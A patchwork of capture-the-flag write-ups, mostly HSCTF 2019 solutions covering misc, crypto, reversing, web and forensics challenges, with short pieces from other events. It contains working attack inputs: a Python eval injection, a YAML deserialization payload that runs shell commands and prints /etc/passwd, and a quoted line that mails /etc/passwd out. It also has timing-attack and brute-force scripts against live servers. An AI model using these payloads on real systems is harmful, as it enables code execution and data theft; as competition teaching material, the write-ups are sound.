```bcactf{d1g-f0r-h073s-w/-dns-8044323}``` |
Click [here](https://saransappa.wordpress.com/2019/04/15/aero-ctf-quals-19-writeup/) .
There are writeups for two challenges in the above page. Scroll down to see the writeup for "Data Container" challenge. |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
# cookie-clicker (150)
## Problem
My friend built a cookie clicker. How do I beat it?
http://35.225.2.44:5001/
## Solution
This is a simple cookie spoofing problem. We can set up a proxy such as Burp Suite to intercept requests from the website with a browser such as Firefox in the middle, and then we have free reign over outgoing cookies.

After we've changed the cookie accordingly, all we need to do is forward the request and we get to a page with the flag.
```bcaCTF{c00k13s_c71ck3d_34a2344d}``` |
# DM Collision>Can you find a collision in this compression function?We are given a [challenge.py](./challenge.py) and a [not_des.py](not_des.py).
